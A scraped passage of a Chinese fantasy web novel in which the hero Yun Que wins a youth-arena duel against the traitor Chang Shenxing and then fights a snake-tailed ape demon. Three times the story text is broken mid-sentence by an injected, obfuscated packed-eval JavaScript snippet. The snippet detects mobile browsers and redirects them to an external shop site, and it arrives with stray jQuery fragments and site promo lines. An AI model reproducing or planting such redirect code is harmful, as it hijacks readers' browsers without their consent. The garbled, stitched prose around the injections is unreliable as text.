从少年擂开始到现在,就属云缺与常慎行这处擂台打得惊险,简直精彩纷呈! “师兄好厉害!” 鸿影第一个大喊起来,激动得一蹦多高,好像是他赢了一场似的。 白誉长出了一口气,他这才发现自己的拳头早已捏出了汗水,刚才紧张得几乎失态。 随着鸿影的喝声,人群中爆发出山呼海啸的欢呼。 “好样的!这才是武夫该有的战力!” “这是六品宗师吗,这分明是五品金身!” “世上居然有如此六品,太强了!简直太强了!” “杀得好!常慎行那叛徒就该死无葬身之地!” “梅钱兄弟好样的!替我们少年城清理门户!” “驸马不仅文采无双,武道更加无敌!乃是我大秦最强赘婿!” “智障禅师无敌!” “智障无敌!” 擂台下不同区域的欢呼声,喊的都不太一样,云缺的身份彻底瞒不住了。 幸好比较乱,谁也听不出谁喊什么,短时间内没人生疑。 如此局面,云缺其实料到了,只要打到最后,身份肯定会穿帮。 云缺只是没料到智障无敌这种欢呼,实在失算…… 大秦区域, 丞相左兰山微眯着眼睛,缓缓颔首道: “他还真是个文武双全的奇才,可惜了,入赘公主府之后只能沦为赘婿,此生再难有施展的机会。 马至远在旁边建议道: “大人,不如将驸马招入玄龙军,如此人才埋没于公主府,不亚于珍宝蒙尘。 “哼,说得轻巧,驸马是金枝玉叶,岂能归入玄龙军。 左兰山冷哼了一声,冷着脸道:“即便能让他离开公主府,你当他会来玄龙军么,龙桃那老家伙早盯上他了,粗鄙的武夫,老夫不稀罕。 说着不稀罕,任谁都能看出丞相脸上的遗憾之色,明显在吃不到葡萄说葡萄酸。 四周的欢呼,很快戛然而止。 其原因,是常慎行的人头! 人们纷纷惊恐的望向擂台。 常慎行被冰封的人头居然并不掉落,始终悬在半空,仿佛有一副隐形的躯壳,连接着那颗狰狞的人头。 咔嚓!! 咔嚓!! 冰层开始碎裂。 不是自行碎裂,而是被常慎行的尖牙咬碎的! 没死? 云缺始终盯着对面的人头,目光冷冽。 身体都碎了,还能不死,这已经超出了活物的范畴,常慎行果然经历了诡异之事,才能有如今的异样。 冰层碎裂之后,常慎行前突的大嘴忽然张开,喷出黑气。 “还没完!没完!我要你死!我要杀掉你!我要拧断你的脑袋!砸碎你的浑身骨头! 常慎行发疯般怒吼。 一颗人头,在擂台上大骂,如此异象看得周围众人惊讶不已。 人头居然还能开口说话! 诡异之事,云缺见得多了,别说人头开口,就算常慎行只剩两颗眼珠子在半空瞪着自己,云缺也不在乎。 “好哇,想杀就过来,不过我先提醒你,看看自己的模样 你的脑袋已经被我先拧断了。”云缺道。 “胡说!胡说!!我怎会断头!我还能再战!嗷呜!嗷呜!!!” 常慎行发出类似野狗般的叫声。 如此诡异的叫声让常慎行忽然清醒了一瞬他疑惑道: “谁的声音?哪里的狗在叫!” “是你自己在叫军师来瞧瞧你现在的模样。”云缺很贴心的拿出个镜子对着常慎行。 常慎行茫然的望去。 他终于看到了镜子里的自己只有一颗似人似犬面皮干裂无比狰狞的头颅! “不!不可能!这不是我!这不可能是我!” 常慎行发疯般晃着脑袋他想要用手敲击脑壳却发现根本没有双手出现。 他低下头终于看到脖子之下空荡荡根本没有身躯! “不!我不想死!我不要死!谁、谁能来救我!城主!大将军!你们救我啊!!” 常慎行朝着柳真真与史得侩发出哀嚎两人则无动于衷。 自私而可恨的少年城军师如今终于沦落到可怜的地步即将惨死。 趁着常慎行还能说话云缺道: “你是如何变成的这等模样是不是被什么东西咬到了说说看也许我能帮你。” 常慎行茫然的盯着云缺 常慎行再次发疯。 这家伙果然被东西咬了云缺目光一动循序渐进的问道: “冷静!常慎行你可是少年城的军师你仔细想一想到底什么东西咬的你城主会替你报仇。” “狗东西走开!走开!救命!救命啊!!!” 常慎行的眼中变得无比惊惧仿佛看到了什么恐怖的画面几乎失去神智。 见对方陷入恐惧无法自拔云缺几步上前一把抓住人头。 手心里雷光涌动。 “别他娘的喊了!快说什么东西咬了你!” 云缺在怒喝中动用了奔雷掌的力道以雷电之力强行让常慎行清醒过来。 而这清醒的瞬间是能否得到答案的最后机会。 常慎行被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233104|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷击之际不再喊叫张着大嘴发出模糊声音。 “咬我的 ,是……是……” 云缺正在聚精会神的聆听,突然常慎行的眼睛凸出眼眶,大嘴裂开到极致。 嘭!!! 人头崩裂开来! 溅出的黑血犹如一道道黑针,将整个擂台笼罩其中! 瞬间的变化,出乎所有人的预料。 云缺所在的小擂台上,仿佛下起了一场黑雨! 惊呼声在四面八方响起。 柳真真惊得以手捂嘴,段无病眉头紧锁,鸿影大叫了一声,白誉猛地捏紧拳头。 在众人看来,云缺完全陷入了黑雨当中。 那些黑针般的血迹宛如钢针,扎在地面,将擂台扎出无数细洞! 无人预料的奇袭,又如此之近,令人防不胜防。 与其他人的惊呼不同,丞相左兰山只是瞥了眼擂台下方的区域,摇头道: “能将影步运用到如此地步,已经接近了如火纯青,龙桃见到都得惊讶不已,他怎么做到的呢……马至远,等公主成亲之际,你记得送一份重礼给驸马,顺便探探他的口风,问问他对玄龙军的卫尉是否感兴趣。” “属下遵命!” 马至远躬身领命,心说驸马的天赋实在惊人,连丞相都忍不住了,玄龙军十二卫,共有十二名卫尉统领,卫尉的地位相当于将军,这种身份已经足够高贵。 段无病那等天才,今年才爬到卫尉而已,驸马还没成亲呢,就博得了太尉与丞相的高看,可见人家非同常人。 马至远偷眼了瞄了下丞相,心里有种说不出来的滋味。 有些嫉妒,更多的是解气。 丞相身为三朝元老,地位尊贵,打压外人的手段极其凶悍,马至远跟在丞相身边数十年,从没见过丞相如今日这般,明明对驸马恨得咬牙切齿,偏偏还舍不得这块宝玉。 能见到丞相如此纠结,马至远这位御史大夫也算三生有幸了。 黑雨过后,擂台上空空如也。 云缺已经在第一时间施展出影步,躲到台下。 常慎行那种模样,摆明了有诈,云缺岂能不妨。 只剩一颗人头还不死,不是陷阱又是什么呢。 可惜的是,常慎行始终没说出咬他的东西究竟是什么。 云缺虽然猜测是那条杂毛狗,只是毫无证据。 很快人们发现云缺安然无恙,四周顿时再次欢呼起来。 见云缺重新跃上擂台,白誉再次长出一口气,他按了按心口,能感受到心脏嘭嘭直跳。 白誉苦笑一声, 他现在终于明白了为何云缺在大唐皇宫的时候,父皇总得吃一些安神养心的灵药。 不吃的话,心脏确实容易出问题。 两局挑战,云缺尽数获胜,还剩最后一局即可成为小擂主之一。 擂台四周的人们全都认为云缺无需再战,这等战力,谁能上去挑战? 拥有五品修为的,早都占据了一座小擂台,剩下的全是六品而已。 在大家的眼里,天下间的六品已经不可能有人是云缺的对手,上去也是找死。 连云缺都觉得自己无需再战第三局,既然战力已经展现,自可震慑同阶。 刚想到这里,忽然一道身影跃上擂台! 第564章 人族都这么不要脸了吗 出乎所有人的预料,非但有人挑战云缺,而且来得如此之快。 云缺都觉得纳闷。 我都把常慎行给宰了,谁这么不长眼,还敢来挑战? 等看清来者的容貌,云缺笑了起来。 对面是个矮胖子,肥头大耳,鼻子发尖,眼珠乱转,像只肥胖的老鼠成精。 居然是万妖国的冥欢! 云缺没想到这只小妖居然敢登上少年擂的擂台,而且还明目张胆的挑战自己。 冥欢登台后,指着云缺的鼻子喝道: “呔!横推云州的干孙子!你别嚣张!今天爷爷要把你打得屁滚尿流,跪地叫爹!” 冥欢之前吃过云缺的亏,喊了好几声干爹,他特来报复。 云缺揉了揉耳朵,道:“你想干什么?没听清,你再说一遍,把我打到跪地叫什么?” “爹!”冥欢补充了最后一个字。 “嗯,爹听到了,乖儿子,下去一边玩去吧。”云缺背着手道。 冥欢愣了愣,大怒道: “你这无赖之辈!就会占便宜!你敢不敢接受挑战,不敢就自己滚下去!” “当然可以接受挑战,不过在比斗之前,我通常喜欢找些猫啊狗啊老鼠什么的祭旗。” 云缺脸色一冷,点指冥欢道:“诸位!此人乃是妖族化形,妖物胆敢来少年城,我们该当如何!” 一听这话,周围的少年们纷纷大怒。 “妖族居然敢来少年城?还要打少年擂!好大的狗胆!宰了它!” “我们少年城以斩妖除魔为己任,见妖则杀!” “别让它逃了!” “大家一起上,砍了此妖!” 少年们义愤填膺。 尤其少年城一方的少年修士,听闻妖物化形,眼睛都红了,刀剑出鞘。 面对众人的喝骂,冥欢居然丝毫不惧,仰着脖子大喝道: “嚷嚷什么!妖怎么了,你们人族有少年,我们妖族难道就不能有少年了么!天生万物,我们妖族与你们人族一样都是世间生灵,既然叫做少年擂,我们妖族也有资格参加!” “连妖族少年你们都打不过,就算选出少年王,也是个杂牌货!我们妖族不服!” 冥欢这么一说,台下的众人 一时间无言以对。 少年城确实以斩妖除魔为己任,见到妖物必定击杀。 可是少年擂,没规定妖族少年不许参加,这是个漏洞,如今人家妖族之人抓着不放。 少年们纷纷将目光望向柳真真。 少年城的主事之人是城主,少年擂也是城主与大秦所定下的赌斗,现在出现妖族少年登台,谁也不知道该如何应对。 战吧,没这个先例,说出去太过匪夷所思。 不战吧,不仅被妖族瞧不起,最后选出的少年王也会因此而落下名不符实的传言。 柳真真一时也难以决断,犹豫起来。 冥欢见问住了众人,更加得意起来,大喊道: “你们人族到底谁说了算!敢不敢让我们妖族少年登台挑战!不敢的话我可走了,大秦畏妖的消息我会传遍云州!嘎嘎嘎!谁主事呀,放个屁呗嘎嘎! 冥欢这话说完,传来一声冷哼。 “战便是了,区区小妖,还能翻天了不成。 说话的,是丞相左兰山。 冥欢显然在挑衅,连少年城的少年们都觉得气愤不已,何况堂堂大秦丞相。 对于少年城出现妖族,左兰山根本不在乎,反正挑战的是驸马,动手的也是驸马,正好趁机出口恶气。 左兰山心情不错。 看到云缺被当做骡子用,他这位丞相大人就没来由的心情舒畅。 云缺瞄了眼丞相,嘴角无声的动了动。 短短瞬间工夫,左兰山的祖宗十八代被问候了个遍。 云缺挺郁闷。 本可以少打一局,直接成为小擂主,谁成想来个妖怪捣乱。 云缺挽起袖子,道: “既然你想打擂,那便开始好了,正好缺一身皮袄,借你兽皮一用。 冥欢一下蹦了起来,大喜道: “你们说的可以打!不许反悔!谁反悔谁是孙子!是乌龟王八蛋!生儿子没辟眼儿! 云缺皱了下眉,一种不祥的预感浮现心头。 这个矮胖子此时的模样,明显是坑人成功的状态。 这种状态云缺太熟了。 不好…… 云缺立刻想要出手,结果一个壮汉跳上了擂台,将地面踩出一声闷响。 冥欢指着旁边的壮汉道: “我是来替我兄弟占位置的!他跟你打!嘎嘎,你等死吧! 说完冥欢急忙跳下擂台,站在旁边得意洋洋的观战。 云缺扫了眼对面的壮汉,叹了口气。 这壮汉见过,之前商家兄妹与冥欢发生冲突的时候,此人现身过。 正是在少年城发动兽潮的四阶蛇尾猿! 云缺心里这个骂呀。 大意了! 冥欢那孙子看着挺蠢,但蠢不同于傻! 冥欢的心眼儿还挺多,先来占位置挑战,等定下挑战后立刻换人。 掐死冥欢轻而易举,但是对面的这头四阶蛇尾猿,实在难缠。 “四阶大妖,也好意思来少年城挑战?你要不要脸?云缺开口骂道。 “呵呵,大妖又如何,只要是少年,无论人族妖族都可登上少年擂,这可是你们说的,莫非要反悔吗。蛇尾猿冷笑道。 “是你先破坏规矩,少年擂年纪限制在二十一岁,你是四阶大妖,你是少年么。 “当然是少年,我今年正好二十岁,你若不信,可以找来人族高手验骨,看看我真实年龄究竟有没有超过少年擂的限制。蛇尾猿冷声道。 云缺错愕了片刻,随之懊恼起来。 忘了! 对面的不是人,而是妖! 妖这东西,有些生来就有境界,不一定非要从最低的九阶开始修炼。 如果父母都是高等妖兽,那么有很大概率生出八阶七阶,甚至六阶五阶的后代。 这一点在人族当中并不存在。 人族中无论父母有多高的修为,生下来的孩子或许天赋异禀,但呱呱落地之际绝对半点修为都没有,需要从头练起。 对面的蛇尾猿,既然敢说出让人族验骨,显然他没有说谎,真实年纪不会超过少年擂的限制。 如此一来,云缺就麻烦了。 还没成为小擂主,就要先对战一头四阶大妖! 放在平常倒是问题不大,有月魁的力量加持,云缺不惧大妖。 但现在处于进阶的关键时刻,境界大门已经被推开,没有了回头路,必须一直战下去,不能败! 云缺略一沉吟,道: “你想打擂,可以,但有个规矩,这里是人族之地,少年擂也是人族发起,你想参与只能以人身作战,如果现出妖身,算你输,我们所有少年修士都会群起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233105|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而攻之!” “没问题!”蛇尾猿哈哈大笑道:“只要你敢接受挑战,我可以让你一只手!” 听闻如此嚣张的言论,台下的人族少年更加愤怒。 “宰了此獠!敢来我们少年城放肆!” “杀了它!让它去地府嚣张去!” “狂妄的妖族!等下让你知道知道我们人族少年的厉害!” “盯着这家伙!无论输赢,都不能让它跑了!” “我们少年擂上的全是人族精英!你敢挑战,你死定了!” “梅钱兄弟宰了它!让它们妖族知道知道我们人族的厉害!” “驸马万胜!驸马万胜!” “谁是驸马?那边喊什么呢?” “谁是没钱?擂台上有缺钱的吗?” “智障无敌!智障无敌!” 乱哄哄的吵嚷中,云缺的脸色愈发冷冽。 哗啦一声! 衣襟一摆,云缺往前踏出一步,气势浑然天成,如万军开拔! 蛇尾猿与云缺交过手,尾巴都被人家切断了,自然不会大意,双臂青筋暴起准备迎战。 蛇尾猿以为云缺要动手,结果人家迈出一步后,脸色不红不白的道: “让一只手太少了,你敢不敢再让我一只脚!” 蛇尾猿愣怔在原地,好半天没回过神儿来。 它有些想不明白,怎么人族现在,都这么不要脸了吗? 当着数以万记的同类,连这种话都说得出来? 脸这种东西,云缺早扔了,何况登台挑战的是一头四阶大妖,本来就是不要脸的行为。 面对不要脸的妖族,我还能要脸么。 “怎么样,让不让?或者让我两只手也可以。”云缺好整以暇的追问。 “让……” 蛇尾猿很想骂人,怒道:“让不了!不动用妖身我本就吃亏,再让你两只手,那还怎么打擂!” 妖族化形之后,必定战力大减,与妖身状态差距极大。 以蛇尾猿四阶的境界,若是用现在的人形来战斗,他只能发挥出五阶巅峰的 战力,除非现出妖身才能用出四阶之力。 其实这一点并不绝对。 有些修炼多年的老妖,即便以化形之体战斗,也能发挥出妖身状态的大部分力量,但这种能力是后天修习而来,需要常年的钻研并且经常以人族形态对战,才能慢慢获取。 蛇尾猿今年刚到二十岁,境界虽高,经验太浅,所以做不到以人身状态发挥全部妖力的程度,被身体形态极大的限制了战力。 “真小气,我才六品修为,你都四阶了,摆明了以大欺小,妖族这种气量,注定长久不了早晚灭族。” 云缺背着手站在擂台,道: “这样吧,你让我一只手,外加一只眼睛,睁一只眼闭一只眼打斗,而我可以不用任何武器,只动拳脚,算起来你不吃亏,如果不同意,那我不比了,给你擂主,你去打别人好了。” 见云缺承诺不用武器,蛇尾猿立刻大喜,当场同意道: “好!就让你一只手外加一只眼!你不可动用武器作战!” 蛇尾猿为了复仇而来,他的尾巴就是云缺斩断的,他对云缺的黑刀很忌惮。 一旦不用刀,蛇尾猿有十足把握将云缺拍死在擂台之上。 蛇尾猿心里挺高兴,认为即将大仇得报。 殊不知还没打开,它已经掉进云缺现挖的坑里了。 你的朋友正在书荒,快去帮帮他吧 第565章 驸马的计划 定好了规则后,擂台上的一人一妖直接动手,恶战在一处。 台下众人都觉得云缺吃亏。 舍弃武器,去换取对方闭上一只眼作战,简直亏大了! 蛇尾猿有两只眼睛,别说闭上一只眼,即便瞎掉一只还是能看得清。 除非两只眼睛都闭上,才能真正影响到视觉,从而达到削减其战力的效果。 多让了一只眼睛,没太大用处。 当然这种想法,大多来自年轻人的判断。 在丞相左兰山的眼里,云缺提出的条件非但不吃亏,反而占了便宜。 “生死恶战,一旦出现盲区,妖族的威力虽然不减,防守能力会随之下降一半,妖族,果然够蠢。”左兰山冷哼了一声。 对他这种老牌修士来说,视觉缺失一半的弊端,几乎是致命的! 一只眼虽然也能看得到,照比两只眼的视野相差太多,闭上左眼,左侧大半的视觉消失,闭上右眼,右侧几乎看不到东西,只能直视前方。 而云缺的影步,可以快速挪移,专门在蛇尾猿的视觉盲区发动奇袭,造成的伤害会被无限扩大。 正如左兰山判断的那般,擂台上一动手,云缺直接施展出影步,配合奔雷掌与赤炎拳,在擂台上忽左忽右,犹如鬼魅,一旦抓到机会便是一顿猛攻。 该着蛇尾猿倒霉。 它选择了不用左手,将其背在身后,只用右手对战。 又闭上了右眼,只用左眼观察敌人。 这样一来,蛇尾猿的左眼直视的时候根本看不到它自己的右肩,想要看到右侧上臂与肩头部位,需要扭头才行。 云缺正是抓住对方这个弱点,将攻击之处选在了击蛇尾猿的右肩,右肋,后心这三个区域。 反正就是不去正面对战。 蛇尾猿忙得不可开交,脑袋左右乱转,要不然都看不到云缺的人在何处。 即便如此,仍旧被奔雷掌与赤炎拳不断轰击在身上,也就仗着四阶妖兽的身躯无比强横,硬抗了下来。 打了不久,蛇尾猿觉得自己的脖子都快扭得抽筋。 它是蛇尾猿,不是蛇颈猿。 做不到将脑袋转一圈的程度,手忙脚乱,自身战力很难发挥出来。 尤其只能用一 只手,显得更加不便。 战斗一开始,蛇尾猿就处于明显的下方,最后不得已,用一只胳膊防住要害,选择了完全防御。 没办法, 云缺下手实在太黑。 除了攻击蛇尾猿的盲区之外,后心,后颈,两肋,脚面,外加胯下的要害,轮换着来。 妖族一旦化形为人身,身体的要害也变得与人族无异,挨上一下都受的,何况是雷炎并用的武道法门。 四阶妖兽的本体确实很强,但也架不住人家往死里招呼。 妖族选择防御,立刻引起人族少年们的欢呼,大家都觉得解气,看着云缺暴打蛇尾猿,别提多过瘾了。 呼喝声此起彼伏。 马至远则渐渐皱眉,道: “四阶大妖的本体极其强横,不动用武器的话,以六品修为很难伤到对方,驸马大意了,不该用那等约定,与其换对方闭一只眼,不如动用刀剑,莫非驸马没有趁手的武器?” 左兰山哼了一声,道: “有武器又能如何,六品宗师即便手持法宝也未必伤得到四品大妖之躯,反正砍不动人家,不如换个战术,拳脚武道虽然粗鄙,却有个好处,可以将对手打出擂台。” 丞相说完,马至远恍然大悟,道: “原来如此!驸马的目标是将大妖打出擂台!如此一来,拳脚自然比刀剑更能迷惑住对方,大人果然慧眼如炬,早已看破了驸马的计划。” 左兰山得意一笑,道: “区区黄口小儿,能有多少把戏,他撅起……” 左兰山说到这里脸色变了变,觉得有点恶心。 本想说驸马撅辟股就知道拉什么屎,但事实证明,无需他这位丞相大人提前知道,人家上次直接就拉了出来。 随着打斗的持续,一直挨打的蛇尾猿被渐渐打到擂台边缘。 如此局面,验证了丞相的猜测。 云缺的确很想将蛇尾猿打出擂台,只要掉下去,就算输。 所以一开始就动用绝学,目的只有一个,将蛇尾猿打到擂台边缘。 蛇尾猿只顾着防御,并未发现云缺的用意,它仗着肉身强悍,挨了几百拳上百脚,根本不在乎。 妖族与人族躯体的差距,在此刻显现无疑。 周 围观战的少年修士们虽然对妖族愤恨不已,但看得全都心惊肉跳。 尤其擂台上的其他小擂主们,几乎都在心里对比。 云缺的雷炎武道如果揍在自己身上,估计早已重伤。 妖的可怕,不仅只有尖牙利爪,凶残狡猾,还有强于人族数十上百倍的强大妖身! 小说的域名qiexs㈣(请来企鹅 小说 看最新章节 完整章节) 这是种族之间的天然差距,几乎无法弥补。 柳真真,段无病等人一边观战,一边估算着云缺所施展的武道威能。 即便五品金身挨了这么多轰击,恐怕也得落个重伤的下场,更别提其他派系的修行者,一拳一脚就能直接打趴下。 然而挨了半天打,蛇尾猿竟毫不在乎! 其他小擂主们看得直抽冷气,对四阶大妖肉身的强悍程度愈发震撼,也愈发忌惮。 除了上次妖兽攻城之际与蛇尾猿对战过的柳真真与史得侩等少数人,其余少年修士根本没人与四阶大妖动过手,根本不了解大妖的恐怖之处。 今天也算让天下间的少年修士开了眼界,见识了四阶大妖的强大之处。 擂台上, 云缺找到个机会,轰出一记赤炎拳,蛇尾猿则习惯的抬手去挡。 云缺打出的这一拳,威力平平,倒是烈焰极盛,完全是虚张声势的一击。 趁着蛇尾猿格挡火焰的瞬间,云缺以影步挪移本体,到了蛇尾猿另一侧,双拳齐出,再次施展出击杀常慎行的绝杀,雷炎开山! 雷炎双拳实实在在的轰在了蛇尾猿后背。 但没能将其轰出擂台。 蛇尾猿仿佛脚下生了根一般,身体往后踉跄了一下,脚下没动,并未掉出擂台。 云缺顿时一皱眉。 这一击威能不小了,即便伤不到大妖,将其打出擂台应该问题不大,因为蛇尾猿就在擂台边缘,只差一步就能掉下去。 结果对方依旧站在原地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245809|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 云缺低头一看, 蛇尾猿的大脚正死死的扣进地面! 蛇尾猿的身体是人形状态,但脚上长长的指甲犹如倒勾一般扎进石头里,犹如生根的老树。 难怪没能将其打出擂台,原来对方早有准备! 云缺这一低头的工夫,蛇尾猿的大手猛然抓来,速度之快犹如毒蛇猎食! 蛇尾猿之前的笨重与颓势在此刻彻底消失灵敏得无比惊人! 嘭一声! 蛇尾猿的大手直接抓住了云缺的脖子。 “哈哈!小东西!被你打了半天现在让你尝尝什么叫真正的力量!” 蛇尾猿狞笑着将其云缺举起轰鸣着砸在地面! 小擂台以坚固的岩石制成足以承载斗法然而却被蛇尾猿的一击之下砸出个大坑! 碎石迸溅中蛇尾猿将云缺从坑里提起举过头顶狞声狂笑道: “愚蠢的人族你可以打中我无数次但只要被我抓住一次你将死无全尸!” 轰隆!! 蛇尾猿第二次将云缺砸在擂台接着第三次举起又大力砸下。 四周惊呼四起! 云缺在对方手里犹如个破娃娃一样接连被砸了五次。 每一次都能将擂台砸得碎石飞溅 柳真真看得眼泪都要出来了这种重击谁能挺得住! 即便她这位五品巅峰的金身境武者被一头四阶大妖如此重击也得喷血重创甚至会被直接砸死! 史得侩一个劲儿的嘀咕道: “糟糕啊糟糕!他这么不小心呢!快点逃啊!唉又来一次再砸下去会没命的呀!” 段无病看得紧皱眉峰大喊道: “快逃!实在不行就认输!” 比起被活活打死不如认输留得青山在不怕没柴烧这是段无病的想法。 鸿影在台下急得大骂妖族白誉的脸色变得愈发苍白。 所有人都在为云缺提心吊胆。 那可是四阶大妖! 被人家抓住下场不堪设想。 砸了五次之后蛇尾猿终于松开手它猛然捏起拳头朝着坑里猛击不断。 轰!轰!轰!轰!轰…… 一顿猛砸! 恐怖的轰鸣声听得周围众人头皮发麻。 人们想到了捣蒜的画面。 坑里的云缺成了蒜瓣而蛇尾猿的巨拳则是铁杵到最后蒜瓣只能成为蒜泥! 血肉之躯也将成为一滩肉泥! 柳真真实在忍不住了就要跃上擂台去帮忙。 台下的冥欢始终盯着局势见城主要动手他立刻大叫道: “不许动!谁也不许动!擂台有擂台的规矩谁上去插手就是坏了规矩!你们人族难道都不要脸了吗!不怕被我们妖族嗤笑吗!” 柳真真其实并不怕嗤笑但她有另一个身份。 少年城的城主! 如果连城主都成了言而无信之辈人族修士将成为妖族嘲笑的对象。 蛇尾猿出拳的速度快如闪电在其他人尚未反应过来之际便轰出了百余拳。 它停下手站在擂台脚下大坑里的云缺则一动不动趴在坑底。 “哼废物!” 蛇尾猿骂了一句望向小擂台上的其他人冷声道:“小擂主已经选完该进行下一轮比试了谁做我的对手最好提前写好遗言!” 第566章 这边再按两下 面对妖族强者的狂妄之言,一时间无人应对。 擂台上的几人,充其量是五品高手,人家却是四阶大妖,境界相差太大。 即便化形之躯难以施展出四阶大妖的全力,但蛇尾猿也绝非五品修士能轻易抗衡的存在。 擂台上的十五位小擂主,有一个算一个,对上蛇尾猿,大概率会被人家直接捶死。 还是捶成肉饼的那种。 台下数以万计的人族少年,此刻被一头妖族彻底震慑。 绝大多数人都没见过四阶大妖的战力,如今亲眼得见,竟有很多人被吓得慑慑发抖! 四周一片鸦雀无声。 台下的冥欢此时无比得意,掐着腰,鼻孔朝天,大笑道: “嘎嘎嘎!人族少年可真不抗揍,几拳就死了,就你们这小身板还敢来找我们妖族的麻烦,简直自取其辱!快点开始下一局,该抓阄了对不对,谁抽到与我们对战可别哭鼻子呦!嘎嘎嘎!少年王今天归我们妖族了!哈哈哈!” 冥欢张狂的笑声回荡在少年城当中,显得无比刺耳。 一时间竟无人反驳。 满打满算只有两个妖族,却能在无数少年当中嚣张跋扈,口出狂言,如此场面,气得一群少年人咬牙切齿,又无可奈何。 人家的确赢了。 擂台打斗,规则公平,技不如人只能认栽,无话可说。 冥欢的狂笑很快被打断。 笑声变成了惨叫。 有人在它背后一脚踹了过来,把冥欢踹了个狗啃屎。 “谁!谁偷袭老子!” 冥欢蹦起来左看右看,上看下看,就是不往身后看。 “我踹的!” 鸿影气势汹汹站在冥欢身后,骂道:“区区小妖你还蹦起来了!你算什么东西!敢不敢与我一战!” 冥欢听见声音,急忙蹦着转了个身,终于看到身后的少年。 鸿影只有十来岁而已,见是个小屁孩,冥欢大怒道: “我算什么东西?我是万妖国皇子!你是哪来的野种,敢踹我,你找死!” “皇子算个屁!” 鸿影大骂道:“我是朱邪部的人!我舅舅是族长!有种来我们草原,揍不死你!扒皮烤了吃!” “你敢 来我们森林,我把你当坐骑!天天出门遛弯去!冥欢骂道。 “来我们草原,把你祖宗十八代全部吊起来打!鸿影骂道。 “你有种来森林!冥欢道。 “你有种来草原!鸿影道。 “来森林! “来草原! “森林! “草原! 两人一顿互骂,听得旁边众人直迷糊。 又是森林又是草原的,这俩地方有什么不同么,听起来就是同一个地方好不好…… 冥欢被骂得大怒,指着擂台道: “不用去森林也不用去草原,咱们就在擂台一分胜负,看谁先打死谁! “好!不敢上来你就是驴生的!鸿影当先跃上擂台。 冥欢也蹦了上去,朝着蛇尾猿道:“你先下去,我来揍死这个小杂种! 擂台已经分出胜负,按理说蛇尾猿可以腾出地方。 但蛇尾猿并没动,而是目光森冷的盯着擂台中心的大坑。 冥欢这时也发现了不同寻常的地方,朝着大坑看去。 云缺的确被砸在坑里,但是没有血迹! “咳、咳咳…… 一阵轻咳从坑底传来,云缺缓缓抬起右手,指了指后背道:“按得不错,还挺舒服的,这边,再按两下。 嘶!!! 冥欢吓得倒抽冷气,见鬼一般,头发都立起来了,二话不说又跳了下去。 鸿影大喜过望,道: “师兄没死!师兄一定能赢! 鸿影这边话没说完,蛇尾猿已经蹦起了三丈多高,两只大脚朝着大坑里踩下。 轰隆!!! 小擂台中心发出一声闷响! 一圈环形的气浪爆发开来,形成的冲击堪比狂风,直接将鸿影吹下了擂台。 相比之前蛇尾猿的重拳,这次的践踏之力更盛数倍! 这双脚之力,足以将一位金身境武夫踩爆! 擂台四周再次响起无数惊呼,所有人都替云缺捏了一把汗。 鸿影落地后急忙揉了揉眼睛朝擂台看去。 只见云缺正好整以暇的站在擂台一侧,正在弹着身上的尘土。 之前被蛇尾猿抓住,云缺没办法躲避,现在 自然是动用影步否则真被踩到就不是如今这么轻松的模样了。 蛇尾猿发现脚下没人立刻从坑里跃了出来。 它惊疑不定的盯着云缺半晌没说话。 见云缺安然无恙四周顿时爆发出轰鸣的欢呼。 “好快的身法!还是我们人族武道更加精湛妖族算什么!狗屁!” “刚才吓死我了还以为妖族赢了肯定是人家动用了分身术将假身留在了坑里迷惑妖族!” “要我说是障眼法妖族中了幻术!” “不对吧妖族中了幻术怎么我们也跟着一起中了幻术?我明明看到妖族在暴打梅钱兄弟!” “会不会梅钱还有个孪生兄弟跟他长得一模一样他兄弟被妖族打碎了他才安然无恙?” “都什么眼神儿!看都看不明白人家智障大师修成了罗汉金身硬抗四阶大妖而无损!” “佛门高僧果然厉害!智障大师无敌!” “可惜过几天就要与公主大婚娶了公主驸马的罗汉金身怕是难保啊……哎不对呀你们说谁是大师呢那是驸马好不好!” “什么驸马别胡说八道!梅钱明明是我们少年城的高手!城主的意中人!” “什么?智障大师是梅钱?他还要娶城主!那岂不是破戒了吗和尚不能娶媳妇啊!” “梅钱是谁?智障是谁?擂台上只有一个人族那是驸马白誉我们大秦的赘婿!” “你瞎啊!哪有大秦赘婿分明是我们少年城的高手!” “高手你大爷!他就是大秦驸马!” 人群里的两人吵得不可开交一方是少年城的人一方是大秦皇族的人。 吵到最后 被拽住的正好就是白誉。 白誉脸色发苦无奈道: “可能是唐太子也可能不是唐太子这个不好说啊……” 擂台四周的嘈杂犹如一阵阵的战鼓轰鸣。 云缺在擂台上踏出左脚双拳一震摆出了起手式道: 